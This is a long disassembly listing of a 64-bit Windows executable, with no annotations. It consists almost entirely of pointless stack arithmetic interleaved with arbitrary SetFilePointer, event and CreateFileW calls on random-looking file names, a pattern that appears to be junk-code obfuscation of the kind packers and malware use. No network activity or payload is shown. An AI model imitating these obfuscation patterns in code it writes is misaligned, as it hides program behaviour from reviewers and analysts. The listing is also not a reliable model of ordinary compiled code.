movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
movsx ecx, byte [rsp + 0x68]
mov rdx, qword [rsp + 0x530]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140013c20
lea rax, [rsp + 0x51]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [0x1400fc384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x770], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x59b8
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [0x1400fd150]
and eax, ecx
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x7f0], rax
jmp 0x140013c99
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
and eax, ecx
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x530]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140013c76
mov rax, qword [rsp + 0x340]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x2e8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3d0]
movzx ecx, word [rax]
call fcn.140053160
jmp 0x140013c99
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd148]
shl rax, cl
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
or eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.6wBKddKH6mBzK_tyx6pltyd54
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16e0], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
mov rcx, qword [0x1400fd158]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf0], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov word [0x1400fd168], ax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0x3508], eax
cmp dword [rsp + 0x3508], 0x96c5
je 0x140013d42
jmp 0x140013d78
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x520]
movzx ecx, byte [rax]
call fcn.140054240
jmp 0x1400524d6
cmp dword [rsp + 0x20d0], 0x3ffb
je 0x14001416e
movsx eax, word [rsp + 0x1e0]
movsx ecx, word [rsp + 0xc0]
and eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [rsp + 0x208]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0x20d0]
add eax, 0x24
mov dword [rsp + 0x20d0], eax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov byte [rsp + 0x60], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x54]
shl eax, cl
mov rcx, qword [0x1400fd158]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5303
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
movzx eax, word [0x1400fd150]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5c], ax
movzx eax, word [rsp + 0x88]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x70], ax
mov rax, qword [rsp + 0x328]
mov rcx, qword [rsp + 0x540]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x80]
and eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [0x1400fc390]
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x4450], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4450]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0x348]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x78]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x98], ax
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84], ax
mov rax, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f0]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
movzx eax, word [rsp + 0x70]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x540]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x120]
movzx ecx, al
mov rax, qword [rsp + 0x3e0]
shl rax, cl
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x990]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov eax, dword [rsp + 0xc8]
movzx ecx, al
mov eax, dword [rsp + 0x348]
shr eax, cl
mov rcx, qword [rsp + 0x750]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe8b3
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd140], ax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1e0]
mov rcx, qword [rsp + 0x2f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x98], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x88]
and eax, ecx
mov word [rsp + 0xec], ax
movzx eax, word [rsp + 0x84]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x70], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0x5a]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x208]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
jmp 0x140013d78
mov r9d, 1
xor r8d, r8d
mov edx, 0x1942
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x188]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x838], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4]
xor eax, ecx
mov word [rsp + 0x70], ax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x328]
shl rax, cl
mov qword [0x1400fc3a0], rax
mov rax, qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x4458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4458]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x188]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jae 0x140014278
movzx eax, word [rsp + 0xd4]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x7c0]
mov rax, qword [rsp + 0x1b0]
mov r8, qword [rax]
mov edx, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xc4]
call fcn.1400546f0
jmp 0x140052459
mov rax, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x328]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x778]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x1e8]
add rcx, qword [rdx]
cmp rax, rcx
jle 0x1400142cf
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x540]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e0], rax
jmp 0x140052459
mov eax, dword [rsp + 0x348]
movzx ecx, al
mov eax, dword [rsp + 0xc8]
shr eax, cl
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x7f0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x14001433b
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe0], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
call fcn.1400534a0
jmp 0x140052459
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4], eax
mov rcx, qword [rsp + 0x610]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x44f6
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x82], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc60], rax
mov eax, dword [rsp + 0x94]
cdq
mov rcx, qword [rsp + 0x340]
idiv dword [rcx]
mov rcx, qword [0x1400fd138]
mov edx, dword [0x1400fc384]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jge 0x140052379
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x6c]
xor eax, ecx
mov word [rsp + 0x5c], ax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x338]
shr rax, cl
mov rcx, qword [rsp + 0x3c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0x208]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1400fd138]
mov ecx, dword [rcx]
add ecx, dword [rsp + 0x94]
cmp eax, ecx
jl 0x1400144a5
mov rcx, qword [rsp + 0x2d30]
call qword [sym.imp.GDI32.dll_AbortPath]
mov dword [rsp + 0x20d4], eax
mov rax, qword [rsp + 0x1e8]
mov r9, qword [rax]
mov r8, qword [rsp + 0x338]
mov rdx, qword [0x1400fc388]
mov ecx, dword [rsp + 0x20c]
call fcn.1400540f0
lea rax, [rsp + 0x81]
mov qword [rsp + 0xfb0], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov word [rsp + 0x7c], ax
movzx eax, word [rsp + 0xe0]
movzx ecx, word [rsp + 0x148]
and eax, ecx
mov word [0x1400fc398], ax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe0], ax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov byte [rsp + 0x3504], al
cmp byte [rsp + 0x3504], 0x81
je 0x140014539
jmp 0x1400522ce
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0]
add eax, ecx
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
mov dword [rsp + 0x3500], ecx
movsx edx, word [rsp + 0xf0]
movzx ecx, dl
mov edx, dword [rsp + 0x3500]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400145d9
lea rcx, [rsp + 0x100]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x435c], eax
mov rax, qword [0x1400fd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd160]
mov word [rcx], ax
mov rax, qword [rsp + 0x340]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x340]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x20c]
mov ecx, dword [rsp + 0xb4]
call fcn.140054670
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0xb80]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x760], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6393
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0x34fc], eax
cmp dword [rsp + 0x34fc], 0xdb72
je 0x14001465b
jmp 0x14001467a
movsx eax, word [rsp + 0xf0]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
jmp 0x14001476a
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x1f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x3e0]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jl 0x14001470a
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
xor eax, ecx
mov word [rsp + 0x5c], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x10c0]
mov rcx, qword [rsp + 0x500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x818], rax
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x330], eax
jmp 0x14001476a
mov rax, qword [rsp + 0x340]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x3c8]
mov rax, qword [rsp + 0x340]
mov edx, dword [rax]
mov rax, qword [rsp + 0x340]
mov ecx, dword [rax]
call fcn.140054510
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x778]
mov qword [rsp + 0x4460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4460]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
movzx eax, word [rsp + 0x7c]
mov word [0x1400fd16c], ax
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x8c]
add eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x970], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.AMVWQBSgAsW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1d10], rax
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0xa18], rax
movzx eax, word [rsp + 0xec]
mov dword [rsp + 0x34f8], eax
cmp dword [rsp + 0x34f8], 0
je 0x140014835
jmp 0x1400148dc
mov rax, qword [0x1400fd148]
mov rcx, qword [rsp + 0x818]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x7b0], rax
mov eax, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x2f63
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20e0], eax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
movsx ecx, word [0x1400fd140]
and eax, ecx
mov word [rsp + 0x78], ax
jmp 0x14001491f
lea r9, [rsp + 0x5c]
mov r8d, ILCreateFromPathW
mov edx, 0xf0
mov rcx, qword [rsp + 0x2d28]
call qword [sym.imp.GDI32.dll_GetCharWidthW]
mov dword [rsp + 0x1a4c], eax
mov r8d, dword [rsp + 0x3c8]
mov rax, qword [rsp + 0x970]
mov edx, dword [rax]
mov ecx, dword [rsp + 0xa4]
call fcn.140054e30
movzx eax, word [rsp + 0xe0]
movzx ecx, word [rsp + 0x70]
add eax, ecx
mov word [0x1400fd150], ax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov qword [rsp + 0x4468], rax
cmp qword [rsp + 0x4468], 0
je 0x140014958
jmp 0x140014a1b
lea rax, [rsp + 0x540]
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8c]
sar eax, cl
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x958], rax
movsx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0xfb0]
movsx ecx, byte [rcx]
shl eax, cl
movsx ecx, byte [rsp + 0x5a]
mov rdx, qword [rsp + 0x538]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jle 0x140014a19
mov rax, qword [rsp + 0x738]
mov rcx, qword [rsp + 0x320]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x1b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd8]
add eax, dword [rcx]
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x100]
movzx edx, byte [rax]
movzx ecx, word [0x1400fd168]
call fcn.140053ea0
jmp 0x140014a8d
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x538]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4358]
mov r8d, 0xf0
lea rdx, [rsp + 0x348]
mov rcx, qword [rsp + 0x5478]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [rsp + 0x21e4], eax
mov rax, qword [rsp + 0x1720]
mov rcx, qword [rsp + 0x1a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd470
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
movzx eax, word [rsp + 0x84]
movzx ecx, word [rsp + 0xec]
and eax, ecx
mov word [rsp + 0x148], ax
mov rax, qword [0x1400fc3a0]
mov rcx, qword [rsp + 0x618]
mov qword [rsp + 0x4470], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4470]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc3a8], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xbd3e
mov rcx, qword [rsp + 0xb78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccc], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
imul eax, ecx
mov rcx, qword [rsp + 0x668]
mov byte [rcx], al
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 0x2b307492
idiv ecx
mov dword [rsp + 0x480], eax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x27b4], eax
cmp dword [rsp + 0x27b4], 1
je 0x140014bb7
cmp dword [rsp + 0x27b4], 0x53c0b86a
je 0x140014b86
jmp 0x140052294
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd0]
add eax, ecx
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x7f0]
mov ecx, dword [rax]
call fcn.140053ad0
jmp 0x140052294
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [0x1400fd168]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa8]
mov word [rcx], ax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0xa90], rax
mov rax, qword [rsp + 0x100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
and eax, ecx
mov byte [rsp + 0x82], al
mov dword [rsp + 0x20dc], 0x9834
mov rax, qword [rsp + 0x818]
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7c]
and eax, ecx
mov word [rsp + 0x64], ax
lea rax, [rsp + 0x5c]
mov qword [0x1400fd170], rax
mov rax, qword [rsp + 0x778]
mov rcx, qword [rsp + 0x1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x780], rax
cmp dword [rsp + 0x20d8], 0xf037
jbe 0x14001516a
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
movsx ecx, word [0x1400fd130]
xor eax, ecx
mov word [rsp + 0xf0], ax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0x74]
shl eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc70]
shr rax, cl
mov qword [rsp + 0x500], rax
mov eax, dword [rsp + 0x20d8]
sub eax, 0x6f
mov dword [rsp + 0x20d8], eax
mov eax, dword [rsp + 0xb8]
mov ecx, dword [rsp + 0x208]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x22d1
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x908], eax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x480]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fd16c], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c]
and eax, ecx
mov word [rsp + 0xd4], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0]
sub eax, ecx
mov word [rsp + 0x88], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
add rax, qword [rsp + 0xa18]
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
movsx eax, byte [0x1400fd132]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7f0]
mov qword [rsp + 0x4478], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4478]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x838]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf0]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x64], ax
movzx eax, word [rsp + 0x6c]
movzx ecx, word [0x1400fd144]
add eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x3e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd128], rax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbcbe
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x70]
and eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x760]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov rax, qword [rsp + 0x778]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov eax, dword [rsp + 0xc4]
mov rcx, qword [rsp + 0xa90]
mov qword [rsp + 0x4480], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4480]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x59]
movzx ecx, byte [rsp + 0x60]
and eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0x480]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20c], eax
mov rax, qword [rsp + 0x188]
